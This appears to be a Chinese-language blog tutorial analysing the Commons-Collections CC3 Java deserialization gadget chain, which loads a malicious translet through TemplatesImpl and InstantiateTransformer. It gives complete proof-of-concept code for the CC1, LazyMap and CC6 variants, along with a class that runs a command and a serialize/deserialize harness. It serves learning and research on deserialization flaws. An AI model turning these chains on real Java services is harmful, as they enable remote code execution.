Commons-Collections篇-CC3链

前言

我们分析前两条链CC1和CC6时,都是利用invoke反射调用的Runtime().getRuntime().exec()来执行命令。而很多时候服务器的代码当中的黑名单会选择禁用Runtime

CC3链主要通过动态加载类加载机制来实现自动执行恶意类代码

1.环境安装

可以接着使用我们之前分析CC1链时安装的环境,具体安装步骤可以看上一篇文章:
Commons-Collections篇-CC1链小白基础分析学习

2.分析

CC3的sink点在于defineClass()

在类的动态加载中,有一种利用ClassLoader#defineClass直接加载字节码的手段

ClassLoader.loadClass()—> ClassLoader.findClass()–>ClassLoader.defineClass()

在这里插入图片描述
defineClass()往往都是protected类型的,作用是处理前面传入的字节码,将其处理称真正的Java类,我们平常使用只能通过反射去调用.
如果只加载恶意类,不初始化的话,是不会执行代码,还需要一个实例化操作

2.1 Templateslmpl类分析

我们寻找谁调用了这个方法,找到了TemplatesImpl类中TransletClassLoader#defineClass,TemplatesImpl类实现了Serializable接口,可以被序列化,但是defineClass方法为默认Default,只能在自己类中使用
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们继续find Usages

在这里插入图片描述我们可以看到私有方法defineTransletClasses调用了defineClass(),但是其中有一个if判断,在过程中我们不能让if (_bytecodes == null)判定成功,不然就会抛出错误中断了
在这里插入图片描述
在同类下的getTransletInstance方法中发现了调用,并且还有实例化操作,我们继续寻找
在这里插入图片描述
我们找到了一个公开的方法,接下来开始利用

2.2 Templateslmpl类利用

2.2.1 解决阻碍

在我们之前的分析中,我们能看到有很多的if条件,这些我们都需要提前去满足解决,才能让链正常的执行下去,我们从最上层开始分析限制条件在这里插入图片描述
在这里插入图片描述

  1. _name为String类型,不能为null
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
  1. _class为Class类型的数据,必须为null 默认也是null,不用处理
  2. _bytecodes为字节类型的二维数组,不能为null
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
  1. _tfactory为一个 TransformerFactoryImpl 类型不可序列化的transient的对象,并且初始化为 null,不能为空,他还需要执行方法
Field tfactory = ca.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

我们编写一个demo进行尝试
先写一个恶意类,并将该文件进行编译为class

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\src\\main\\java\\org\\example\\Calc.java"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();
    }

在运行之后会有一个空指针异常的错误
在这里插入图片描述
我们调试并定位到发生错误的代码处,发现_auxClasses是Null
在这里插入图片描述
所以我们现在有两种解决方法:

  1. 设置_auxClasses
  2. 让这个if (superClass.getName().equals(ABSTRACT_TRANSLET))条件判断正确

如果我们设置_auxClasses的值,上面的_transletIndex值为-1,在426行代码进行一次判定,还是会抛出错误
在这里插入图片描述
所以我们选择第二个继续分析,只要让defineClass() 方法中传进去的参数 b 数组的字节码继承了 ABSTRACT_TRANSLET 这个父类,就会判定成功
在这里插入图片描述
我们修改弹计算器的测试代码

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
}

重新运行上面我们的测试代码在这里插入图片描述

2.3 TrAXFilter分析及实例化

我们接着寻找newTransformer()的用法
在这里插入图片描述
在这里插入图片描述
发现在TrAXFilter 中调用了,但是我们也可以看到TrAXFilter没有继承序列化接口,所以不能反序列化

但是CC3的挖掘者发现了一个专门使用反射来动态创建对象的类InstantiateTransformer
在这里插入图片描述
在这里插入图片描述
我们可以使用这个类来实例化TrAXFilter,所以我们第一步先创建一个InstantiateTransformer实例,然后传入TrAXFilter.class

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
        new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

在这里插入图片描述
整体POC

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
        //序列化
//        serializable(o);
//        unserializable();
    }

在这里插入图片描述

2.4 CC1+TrAXFilter

我们结合CC1的入口到TrAXFilter的使用,构造POC
注意:在CC1中我们使用恒定转化器 ConstantTransformer 和链式转化器ChainedTransformer 来解决了setValue的值无法控制的问题,我们现在使用中同样要注意使用

package org.example;

import com.oracle.jrockit.jfr.ValueDefinition;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("id",1);
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(ValueDefinition.class, transformedMap);

        //序列化
        serializable(o);
        
//        unserializable();
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

用反序列化来执行上面生成的obj文件

public class CC {
    public static void main(String[] args) throws Exception {
        //命令执行代码
        unserializable();
    }

    private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

}

在这里插入图片描述
路线为

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        AbstractInputCheckedMapDecorator$MapEntry.setValue()
            TransformedMap.checkSetValue()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        instantiateTransformer.transform()
                            TrAXFilter.TrAXFilter()
                                TemplatesImpl.newTransformer()
                                    definclass -> newInstance()

2.5 CC1_LazyMap + TrAXFilter

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,chainedTransformer);

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);
        aDe.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);

        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
        invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);

        //序列化
        serializable(invocationHandler);

//        unserializable();
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

在这里插入图片描述
路线为

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        AnnotationInvocationHandler.invoke()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        instantiateTransformer.transform()
                            TrAXFilter.TrAXFilter()
                                TemplatesImpl.newTransformer()
                                    definclass -> newInstance()

2.6 CC6 +TrAXFilter

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ca = templates.getClass();
        Field name = ca.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"admin");

        Field byteField = ca.getDeclaredField("_bytecodes");
        byteField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = {evil};
        byteField.set(templates,codes);

        Field tfactory = ca.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tied = new TiedMapEntry(Lazy,0);
        HashMap map1 = new HashMap();
        map1.put(tied,1);
        //本地执行put时,会调用 tiedmapTntry.hashcode lazyMap.get("0") 会让lazyMap key不为flase
        Lazy.remove(0);  //remove掉put时 lazyMap里的key 使反序列化时能进入transform
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(Lazy,chainedTransformer);
        serializable(map1);
    }

//        unserializable();
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

在这里插入图片描述
路线为

HashMap.put()
    HashMap.hash()
        TiedMapEntry.hashCode()
        TiedMapEntry.getValue()
            LazyMap.get()
                    ChainedTransformer.transform()
                        instantiateTransformer.transform()
                            TrAXFilter.TrAXFilter()
                                TemplatesImpl.newTransformer()
                                    definclass -> newInstance()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC6链分析

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值